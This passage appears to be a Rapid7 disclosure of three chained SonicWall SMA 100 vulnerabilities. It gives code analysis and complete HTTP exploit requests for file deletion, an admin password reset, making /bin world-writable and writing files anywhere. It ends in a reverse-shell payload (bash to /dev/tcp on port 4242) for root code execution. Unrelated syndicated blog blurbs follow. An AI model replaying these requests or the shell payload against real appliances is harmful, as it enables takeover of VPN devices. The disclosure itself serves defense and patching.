        return self.api.authorizationCheck(self.get_connection_id(), request.method, request.args.get('swcctn'))

The self.get_connection_id function is depicted below. It fetches the swap cookie ([B]), which is the primary session cookie, then decodes it as base64 ([C]) and returns it.

  @staticmethod
    def get_connection_id():
        if (SONICFILES_UNIT_TEST_MODE):
            #connection = request.args.get('sessionid', "", string)
            sessionid = request.args.get('sessionid')
            connection = base64.b64decode(sessionid).decode('utf-8')
            print(connection)
            return connection

        swap = request.cookies.get("swap") # [B]
        if swap == None:
            return ""

        connection = base64.b64decode(swap).decode('utf-8') # [C]
        mask_connection = connection.replace(connection[4:-4], (len(connection)-8) * '*') # abcd***...***ABCD
        logger.debug("::SONICFILES:: session {}".format(mask_connection))
        return connection

Since the primary authorizationCheck function is a SWIG function implemented in native code, the decompiled cleaned up C for that is depicted below. It calls sessionGetAndRefresh ([D]), which queries the web application’s SQLite primary database on disk, to determine whether the provided session is an authenticated one. If it’s valid (and if the CSRF token matches when the ‘POST’ method is used), it returns a success code ([E]).

0001b2e0    int32_t authorizationCheck(int32_t sessionId, char* method, int32_t swcctn)

0001b2e0    {
0001b2e0        int32_t currentSessionId = sessionId;
0001b315        int32_t sessionHandle = sessionGetAndRefresh(dbhGet(0), currentSessionId); // [D]
0001b31a        bool match = !sessionHandle;
0001b31a        
0001b31e        if (!sessionHandle)
0001b37b            return -1;
0001b37b        
0001b320        char* methodPointer = method;
0001b324        int32_t compareChars = 5;
0001b329        char const* const compareStr = "POST";
0001b329        
0001b32f        while (compareChars)
0001b32f        {
0001b32f            char mChar = *(uint8_t*)methodPointer;
0001b32f            char const compareChar = *(uint8_t*)compareStr;
0001b32f            match = mChar == compareChar;
0001b32f            methodPointer = &methodPointer[1];
0001b32f            compareStr = &compareStr[1];
0001b32f            compareChars -= 1;
0001b32f            
0001b32f            if (mChar != compareChar)
0001b32f                break;
0001b32f        }
0001b32f        
0001b331        if (match)
0001b331        {
0001b35f            currentSessionId = swcctn;
0001b35f            
0001b36a            if (doCSRFCheckForCgi(sessionHandle, currentSessionId))
0001b36a            {
0001b36f                sessionFree(sessionHandle);
0001b374                return -2;
0001b36a            }
0001b331        }
0001b331        
0001b336        sessionFree(sessionHandle, currentSessionId);
0001b33b        return 0; // [E]
0001b2e0    }

That establishes that any low-privileged user can call RacNumber functions via the sonicfiles API. In 2021, NCC Group outlined how the RAC_DOWNLOAD_TAR function (RacNumber=44) could be exploited with a path traversal for privileged arbitrary file deletion. That download_tar code does not appear to have been modified from what the NCC Group blog post shows, since the “/tmp” directory string is still unsafely concatenated with tainted web parameters ([F]); only the authentication check outlined above in main_handler appears to have been implemented as a fix.

  def download_tar(self, partialCmd):
        arg1 = self.get_decoded_url('Arg1')
        foldername = request.args.get('Arg2')
        timestamp = request.args.get('timestamp')
        list_file_path = None
            
        cmd_list = partialCmd.split()
        cmd_list.append(arg1)
        cmd_list.append(foldername)
        cmd_list.append("stdout")
        #appending verbose

        logger.debug("{} download_tar:: cmd_list: {}, timestamp {}".format(SONICFILES, cmd_list, timestamp))

        if timestamp is not None:
            swcctn = request.args.get('swcctn')
            list_file_path = '/tmp/' + swcctn + '_' + timestamp # [F]
            cmd_list.append(list_file_path)

        self.get_cred(cmd_list,arg1)#Appends cred to the list
        current_time = datetime.datetime.now().time()
        logger.debug("{} Download Start time : {}".format(SONICFILES, current_time.isoformat()))
		
        cmd_bytes_list = str_list_to_uft8_bytes_list(cmd_list)
        downloadsubprocess = subprocess.Popen(cmd_bytes_list,stdout=subprocess.PIPE,shell=False)
[..SNIP..]

Exploitation

We’ll start by creating a user named lowpriv with low user-level SMA privileges. This user account should not have access to any administrative functionality, and it will act as our victim account for exploitation. We’ll login to the SMA web service listening on port 443 and establish that we have access to this standard user account.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll create two attacker-owned files as root to demonstrate the privileged arbitrary file delete.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Next, we’ll grab our lowpriv user’s session cookies and use them to perform the malicious file delete web request. The server will return a generic 500 code error response.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../tmp/rootfile HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MHo5dTZvQkNRcXhVWDVpMFo1MktCRGZmYkZjSE9CZm1FUU9QOWdUek5BZz0="; swcctn=JKUKl0KiKYX5Kf4nY7700B4lb5N7M1PD
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

With our console root shell, we can see that the root-owned /tmp/rootfile file has been deleted.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

This can be leveraged to delete the /etc/EasyAccess/var/conf/persist.db file, which is the primary web server SQLite database. When that happens, the system will reboot and reset the SMA administrator password to “password”. Based on known (private) IOCs and Rapid7 incident response investigations, we believe that this specific technique may have been used in the wild.

CVE-2025-32820

An authenticated attacker with user-level low privileges can inject a path traversal sequence to an arbitrary directory on the SMA appliance to make it world-writable. This can be chained with CVE-2025-32819 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Additionally, if a file path is provided, any existing file on the system can be overwritten with junk contents as root, creating a persistent denial of service condition.

Let’s investigate this now. In authentication_api/client/__init__.py, we observe authentication checks implemented in before_request ([G]).

@application.before_request
def before_request():
    logLevl = Logger.getLogLevel()
    application.logger.setLevel(logLevl)
    current_app.logger.info("{} {}".format(request.method, request.script_root + request.path))
    Authorize.authorization_check(request, current_app.logger, False) # [G]

This authorization_check function is similar to the one we previously looked at. However, this function is implemented in Python, within smaauthorize.py, instead of in a C shared library. Below, we can see this logic. The third parameter is called requireAdmin, and it defaults to True ([H]). In this case, though, the call within before_request explicitly states that low-privilege users should be allowed via the False parameter input. The authorization code queries the primary web SQLite database to determine whether the user’s swap session cookie exists in the database ([I]). If so, the request will succeed.

  @staticmethod
    def authorization_check(request, logger, requireAdmin = True): # [H]
        if (API_UNIT_TEST_MODE):
            return

        sessionId = request.cookies.get(AP_COOKIE_NAME)

        if (sessionId == None):
            logger.info("Login failed. No valid sessionId from cookie.")
            raise Unauthorized(AUTHORIZE_FAIL)

        temp_db_session = Session()
        sessionId_decoded = base64.b64decode(sessionId).decode()
        sslvpn_session = temp_db_session.query(SmaSession).filter(SmaSession.sessionId == sessionId_decoded).first() # [I]
        if (sslvpn_session == None):
            temp_db_session.close()
            logger.info("Login failed. No valid session. sessionId = {}, sessionId_decoded = {}".format(sessionId, sessionId_decoded))
            raise Unauthorized(AUTHORIZE_FAIL)

        # touch session
        sslvpn_session.activityTimestamp = int(time.time())
        temp_db_session.commit()
        temp_db_session.refresh(sslvpn_session)
        temp_db_session.close()

        # authorization check
        Authorize.sessionStatusCheck(logger, sslvpn_session)
        Authorize.userTypeCheck(logger, requireAdmin, sslvpn_session)
        Authorize.CSRFTokenCheck(logger, requireAdmin, sslvpn_session)

There are a few different API endpoints that can be reached as our low-privilege user. That list is depicted below:

clientApi.add_resource(NxDisconnectInfoResource, '/nxdisconnectinformation')
clientApi.add_resource(NxPostConnectionScriptResource, '/nxpostconnectionscript')
clientApi.add_resource(NxPostConnectionScriptFileResource, '/nxpostconnectionscript/file')
clientApi.add_resource(NxVersionResource, '/nxversion')
clientApi.add_resource(VpnParametersResource, '/vpnparameters')
clientApi.add_resource(SessionStatusResource, '/sessionstatus')
clientApi.add_resource(AlwaysOnResource, '/alwayson')
clientApi.add_resource(RecurringEpcProfileResource, '/recurringepcprofile')
clientApi.add_resource(BookmarkDetailListResource, '/bookmarkdetails')
clientApi.add_resource(ConnectionProxyResource, '/connectionproxy')
clientApi.add_resource(AdLogonScriptResource, '/adlogonscript')

The NxPostConnectionScriptFileResource endpoint sounds promising, since it deals with file operations. Within nxpostconnectionscript.py, we find the API endpoint logic for POST requests. A file input parameter called upfile is expected ([J]). A sanitized file name is extracted using secure_filename (to prevent path traversal) and assigned to the tmp_file variable ([K]). Then, the file contents are stored in tmp_file’s location. A file operation command is also executed using os.system, with the tmp_file argument sanitized using shlex.quote to prevent command injection ([L]).

This is all handled well. However, while the tmp_file path was created safely, the application later needs to reference just the file name without the prepended /tmp directory. In order to do so, it defines a new filePath variable by directly concatenating the unsanitized file.filename string with a different directory path ([M]). This is then wrapped in shlex.quote, appended to the string “chmod 777 ”, and executed using os.system ([N]). No command injection is possible, since the command string is appropriately escaped. Despite this, shlex.quote does not remove path traversal sequences, so a relative traversal file name can be supplied by the attacker to execute “chmod 777” as root on any path of the attacker’s choosing.

   @swagger.doc(postDocument)
    def post(self):
        post_reqparser = reqparse.RequestParser()
        post_reqparser.add_argument('upfile', required = True, type = FileStorage, location = 'files') # [J]
        args = post_reqparser.parse_args()

        [..SNIP..]

        # store file in /tmp for examination
        file = request.files['upfile']
        tmp_file = '/tmp/' + secure_filename(file.filename) # [K]
        file.save(tmp_file)

        fileSize = os.stat(tmp_file).st_size
        if (fileSize > smaApi.MAX_SCRIPT_FILE_LEN or fileSize == 0):
            cmd = "rm -rf {}".format(shlex.quote(tmp_file)) # [L]
            os.system(cmd)
            raise BadRequest(getMessage(API_ERR_CODE_CLIENT_FILE_SIZE_INVALID).format(int(smaApi.MAX_SCRIPT_FILE_LEN / 1024)))

        # check dir exists or not and if not create it
        if (not os.path.exists(smaApi.POST_SCRIPTS_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DIR), shlex.quote(smaApi.POST_SCRIPTS_DIR))
            os.system(cmd)
        
        if (not os.path.exists(smaApi.POST_SCRIPTS_DESC_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR), shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR))
            os.system(cmd)

        # move file to its destination
        cmd = "mv {} {}".format(shlex.quote(tmp_file), shlex.quote(smaApi.POST_SCRIPTS_DIR))
        os.system(cmd)
        filePath = smaApi.POST_SCRIPTS_DIR + '/' + file.filename # [M]
        cmd = "chmod 777 {}".format(shlex.quote(filePath)) # [N]
        os.system(cmd)
[..SNIP..]

Exploitation

This is a niche primitive, since we do not control the command being executed. Fortunately, making any directory world-writable is exactly what we need to weaponize CVE-2025-32821, our arbitrary low-privilege file write as nobody. We’ll perform a web request to the vulnerable API endpoint as the lowpriv user. In that request, we’ll set upfile to a relative traversal sequence into /bin, which is on the root user’s PATH.

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MUZTMTExT29UVW1UZ0p2aURTQThWYzlLTmV3TEp3dGR5a0FzR3h6aEY2RT0="; swcctn=kg02nQOWI0JEdgI9OyK4i2EJyvP0Zfy0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 213

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Our pspy monitor logs two commands being executed as root. The first command’s file path is sanitized using secure_filename, but the second is only sanitized using shlex.quote, resulting in a traversal to /bin.

CMD: UID=0     PID=15082  | sh -c mv /tmp/bin /usr/src/EasyAccess/var/conf/postscripts
CMD: UID=0     PID=15083  | sh -c chmod 777 /usr/src/EasyAccess/var/conf/postscripts/../../../../../../../../../bin/

Exploitation is confirmed with our console root shell, which shows that the /bin directory is now world-writable.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32821

An authenticated attacker with administrator privileges can inject shell command arguments with an escape sequence to upload a fully controlled file anywhere that the nobody user can write to. This can be chained with CVE-2025-32820 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. It’s also possible to copy existing files that the nobody user can read, such as /etc/passwd or the application’s SQLite database, to the web root directory for data exfiltration.

We’ll start by taking a look at the main function in /cgi-bin/importlogo.

After confirming the user is an authenticated administrator and the HTTP method is “POST”, the application checks for the presence of an integer parameter called updateFavicon ([O]). If this is set to “1”, and if the defaultFavicon parameter is “0”, the application will call FUN_0804a0f0 with the first argument set to a FILE pointer from the multipart form file parameter called favicon1 ([P]). After confirming some basic validation checks, such as file size, the FUN_0804a0f0 function will write the uploaded file to disk at /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico. Next, the portalName POST parameter is fetched and passed through safeSystemCmdArg2 ([Q]). This is a security function that searches for command injection characters, such as $, \n, ;, |, <, >, ^, and `. If any of those characters are detected, the function will return a truncated string of the characters up to that point. Then, a format string is created with the sanitized portalName value to craft the shell command string cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/{portalName_VALUE}/favicon.ico ([R]) and the command is executed via system_s_quiet ([S]), which is a wrapper for system that runs in the context of nobody.

[..SNIP..]
  if (initCgi() < 0) {
    return -1;
  }

  getCookie("swap",cookieBuffer);

  initClientApi();
  cspInit();

  reqMethod = (char *)gcgiFetchEnvVar(4);
  uVar9 = dbhGet(0);

  sessionHandle = sessionGetAndRefresh(uVar9,cookieBuffer);

  if (sessionHandle == 0) {
    gcgiSendStatus(401);
    return 0;
  }
  respJson = cJSON_CreateObject();
  messageJsonArray = cJSON_CreateArray();

  if ((respJson == 0) || (messageJsonArray = 0)) {
    return 0;
  }

  maybeResult = userRolePermissionCheck(sessionHandle,reqMethod);
  if (maybeResult == 1) {
    pcVar5 = "You have no permission to view this page";

LAB_0804948a:
    addWarningMessage(messageJsonArray,"error",pcVar5);
  }
  else {
    if (maybeResult == 2) {
      pcVar5 = "Read-only administrator";
      goto LAB_0804948a;
    }

    if (maybeResult == 0) {
      maybeResult = strcmp(reqMethod,"POST");

      if (maybeResult != 0) goto LAB_080493e8;

      if (doCSRFTokenCheck(sessionHandle) != 1) {
        exit(-1);
      }

      setuid(0);
      setgid(0);
      seteuid(0);
      setegid(0);
      
      gcgiFetchInteger("updateFavicon",&updateFaviconFlag,0);
      
      if (updateFaviconFlag == 1) { // [O]
        maybeResult = gcgiFetchInteger("defaultFavicon",&useDefaultFavicon,0);
        bVar1 = nullptr;

        if (useDefaultFavicon == 0) {
          maybeResult = FUN_0804a0f0("favicon1","favicon1.ico",maybeResult); // [P]
          bVar1 = 0 < maybeResult;
        }

        maybeResult = gcgiFetchString("portalName",portalNameBuffer,0x80);

        if (maybeResult == 0) {
          if (useDefaultFavicon == 0) { 
            if (bVar1) {
              uVar9 = safeSystemCmdArg2(portalNameBuffer,"-"); // [Q]
              baseInstallDir = "/usr/src/EasyAccess";
              __snprintf_chk(pcVar5,0x180,1,0x180,
                             "cp -f %s/www/htdocs/themes/favicon1.ico %s/uiaddon/%s/favicon.ico",
                           "/usr/src/EasyAccess","/usr/src/EasyAccess",uVar9,"/usr/src/EasyAccess"
                            ); // [R]
              system_s_quiet(pcVar5); // [S]
[..SNIP..]

Note that the provided portal name is not validated as a legitimate web portal name at any point in the code path thus far–it’s checked against valid portal names if updateFavicon is not set. So, we don’t need to provide a valid portal name. Additionally, although the portal name is sanitized for command injection characters, it is not sanitized for path traversals, it is not URL encoded, and hash symbols are not truncated. As a result, an attacker can provide a portalName value with a traversal sequence to a different file path, followed by a space and a hash symbol to escape “/favicon.ico”.

The result is that the attacker can upload their own fully controlled file and exploit the limited command injection to write it with any file name they’d like to any directory that nobody can write to.

Exploitation

We can perform the web request depicted below to exploit this arbitrary file write.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: ajaxUpdates=OFF; swap="NVlSSVc1MVdtb0syYWFybFdUdHFEcG9hRjZpMWlyaThlY0FmdlNQRlRhOD0="; swcctn=aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Content-Length: 554
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Origin: https://192.168.181.152
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.181.152/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

CONTENT
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

Our pspy monitor logs the following command being executed as UID 99 (nobody).

2025/05/01 12:10:47 CMD: UID=99    PID=3243   | sh -c cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #/favicon.ico 2>/dev/null

As expected, the test.txt file has been written to the web root.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We also note that the uploaded file has the executable bit set by default.

# ls -lha /usr/src/EasyAccess/www/htdocs/test.txt
-rwx------ 1 nobody nobody 7 May  1 12:10 /usr/src/EasyAccess/www/htdocs/test.txt

This detail is useful for exploitation, since it will facilitate easily writing an executable file to a directory on the root PATH for arbitrary remote code execution.

Chained Impact

The vulnerabilities disclosed in this document permit an attacker with SMA SSLVPN low-privilege user credentials to perform the following five steps:

  1. Exploit CVE-2025-32819 to delete the primary SQLite database and reset the password of the default SMA admin user.
  2. Login as admin to the SMA web interface.
  3. Exploit CVE-2025-32820 to make the SMA appliance’s /bin directory world-writable.
  4. Exploit CVE-2025-32821 to write the file /bin/lsb_release. This executable is not installed by default, but we observed that an automated job on the appliance routinely attempts to execute it as root every few minutes.
  5. Wait for sh -c lsb_release to be executed automatically. When this happens, the attacker gains root-level remote code execution on the SMA device.

Demonstration

We’ll start by grabbing our low-privilege user’s cookies in our “assumed breach” scenario. This cookie string is swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Now, let’s reset the administrator’s password by exploiting CVE-2025-32819 and deleting the primary SQLite database. The SMA returns a 200 status with no body.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../usr/src/EasyAccess/var/conf/persist.db HTTP/1.1
Host: 192.168.181.150
Cookie: swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Refreshing the web page confirms it worked, though the application is not thrilled with our decision.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After a few seconds, the watchdog has had enough and the device is rebooted. When we refresh the page a couple of minutes later, things are looking as good as new.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After logging in using the credentials admin:password, we’re greeted with an end user product agreement, indicating that the device has been initialized.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll input a free trial license key to get the device back in a functional state, though a real attacker would probably use a stolen one. Next, we’ll use our CVE-2025-32820 PoC to make /bin writable. The server should return a 500 error with the message “Failed to create description file.”

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 181

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Lastly, we’ll set our sights on remote code execution as root by exploiting CVE-2025-32821. We throw the reverse shell PoC below at our victim and it responds with a 200 code and “success” in the body. Note that a hash symbol is also appended to our executable file contents; this is added because the file write occasionally seems to append a junk character to our command, though it doesn’t happen every time. In order to avoid any unexpected additions, we escape the rest of the line.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Content-Length: 567
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../bin/lsb_release #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

bash -i >& /dev/tcp/192.168.181.129/4242 0>&1 #
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

One minute later, our reverse shell arrives and root-level remote code execution is confirmed.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Disclosure timeline

  • May 2, 2025: Rapid7 shares vulnerability details with SonicWall security contacts. The SonicWall team acknowledges the disclosure 30 minutes later and confirms that patch development work will begin.
  • May 4, 2025: The SonicWall security team states that a fixed build will be shared on May 5 for patch validation.
  • May 5, 2025: The SonicWall security team shares the 10.2.1.15 build with Rapid7. The Rapid7 team validates that the patch is effective.
  • May 6, 2025: The SonicWall security team states that the patch will be targeting a May 7 release date.
  • May 7, 2025: SonicWall releases v10.2.1.15 and publishes a security advisory. After confirming the patch is generally available, Rapid7 publishes this disclosure.

[$] Hash table memory usage and a BPF interpreter bug

Post Syndicated from daroc original https://lwn.net/Articles/1019667/

Anton Protopopov led a short discussion at the 2025 Linux Storage, Filesystem,
Memory-Management, and BPF Summit about amount of memory used
by hash tables in BPF programs. He thinks that the current memory layout is
inefficient, and wants to split the structure that holds table entries into two
variants for different kinds of maps. When that proposal proved
uncontroversial, he also took the chance to talk about a bug in BPF’s call
instruction.

AmpereOne M Finally Brings the Big 12-Channel Socket to its Arm CPUs

Post Syndicated from Patrick Kennedy original https://www.servethehome.com/ampereone-m-finally-brings-the-big-12-channel-socket-to-its-arm-cpus/

AmpereOne M is finally bringing a 12-channel DDR5 socket to the general-purpose Arm server market, but the release is filled with questions

The post AmpereOne M Finally Brings the Big 12-Channel Socket to its Arm CPUs appeared first on ServeTheHome.

Introducing the AWS User Guide to Governance, Risk and Compliance for Responsible AI Adoption within Financial Services Industries

Post Syndicated from Krish De original https://aws.amazon.com/blogs/security/introducing-the-aws-user-guide-to-governance-risk-and-compliance-for-responsible-ai-adoption-within-financial-services-industries/

Financial services institutions (FSIs) are increasingly adopting AI technologies to drive innovation and improve customer experiences. However, this adoption brings new governance, risk, and compliance (GRC) considerations that organizations need to address. To help FSI customers navigate these challenges, AWS is excited to announce the launch of the AWS User Guide to Governance, Risk and Compliance for Responsible AI Adoption within Financial Services Industries.

This comprehensive guide provides FSI customers practical considerations for responsible AI adoption across key dimensions including governance, risk management, compliance, data management, model management and AI agent management. It includes detailed AWS service capabilities that customers can use to address these considerations, such as Amazon Bedrock Guardrails, Amazon Bedrock Agents, Amazon SageMaker Autopilot, and Amazon SageMaker Model Monitor.

The guide is available through AWS Artifact and is complementary to other AWS resources such as the AWS Responsible Use of AI Guide, AWS Cloud Adoption Framework for AI, AWS Well-Architected Framework Generative AI Lens, and AWS Well-Architected Framework Machine Learning Lens.

As the regulatory environment and leading practices continue to evolve, we’ll provide further updates on the AWS Security Blog and AWS Compliance Center. You can also reach out to your AWS account team for help finding the resources you need.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Krish De
Krish De

Krish is a Principal FSI Governance, Risk & Compliance (GRC) specialist. He works with AWS customers, their regulators, and AWS teams to safely accelerate customers’ cloud adoption by providing prescriptive guidance on GRC. Krish has over 20 years of experience working in governance, risk, and technology across the financial services industry in Australia, New Zealand, and the United States.
Brenda Fong
Brenda Fong

Brenda is a senior FSI risk and compliance specialist. She works with AWS customers in banking, insurance, and capital markets within the ASEAN region to help them meet regulatory, governance, risk, and compliance expectations. Brenda has over 20 years of experience working in governance, risk, and technology across the financial services industry within Asia Pacific.
Kelvin Leung
Stephen Martin

Steve is the Head of Financial Services Compliance and Security for EMEA and APAC. Steve Joined AWS after working for over 20 years in financial service in senior leadership roles with responsibility across ASIA, the Middle East, and Europe. At AWS, he supports customers as they use the scale, security, and agility of AWS to transform the industry.
Kelvin Leung
Kelvin Leung

Kelvin is the AWS FSI Security and Compliance Lead based in Hong Kong. He has 20 years of experience in the IT and cloud regulatory space, with a focus on IT outsourcing, information security, and compliance. Prior to joining AWS, Kelvin worked for a financial regulator where he was responsible for technology risk policy-making and IT regulatory examinations.

The collective thoughts of the interwebz